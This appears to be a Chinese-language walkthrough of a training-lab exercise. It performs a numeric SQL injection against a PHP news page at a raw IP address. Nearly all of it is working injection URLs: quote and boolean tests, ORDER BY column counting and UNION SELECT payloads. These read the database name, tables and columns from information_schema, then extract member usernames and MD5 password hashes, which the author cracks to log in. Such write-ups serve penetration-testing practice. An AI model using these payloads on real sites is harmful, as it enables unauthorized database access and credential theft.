第一步——判断
http://219.153.49.228:46763/new_list.php?id=1'
无法显示
http://219.153.49.228:46763/new_list.php?id=1 and 1=1
可以显示
http://219.153.49.228:46763/new_list.php?id=1 and 1=2
无法显示
满足以上条件的可能存在数字型注入。
第二步——Order by
http://219.153.49.228:46763/new_list.php?id=1 order by 1
正常
http://219.153.49.228:46763/new_list.php?id=1 order by 2
正常
http://219.153.49.228:46763/new_list.php?id=1 order by 3
正常
http://219.153.49.228:46763/new_list.php?id=1 order by 4
正常
http://219.153.49.228:46763/new_list.php?id=1 order by 5
不正常
经过尝试之后发现列数为4
第三步——UNION查询
http://219.153.49.228:46763/new_list.php?id=1 union select 1,2,3,4
不过很遗憾,页面显示正常。
于是把id=1
改成id=-1
找到注入点
第四步——获取元数据
- 得到数据库名 mozhe_Discuz_StormGroup
http://219.153.49.228:46763/new_list.php?id=-1 union select 1,database(),3,4
- 获取表名 StormGroup_member
http://219.153.49.228:46763/new_list.php?id=-1 union select 1,database(),(select table_name from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1),4
- 查询字段
(1)
http://219.153.49.228:46763/new_list.php?id=-1 union select 1,database(),(select column_name from information_schema.columns where table_name='StormGroup_member' limit 0,1),4
显示出的第一个字段为id,更改limit 0,1
中的0,可以得到后面的字段,得到name和password
(2)得到用户名和密码
select xxx from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
http://219.153.49.228:46763/new_list.php?id=-1 union select 1,(select name from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1),(select password from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1),4
得到用户名和密码,但是密码被MD5加密,所以破解一下
登录发现用户不对
改变密码的limit,得到正确密码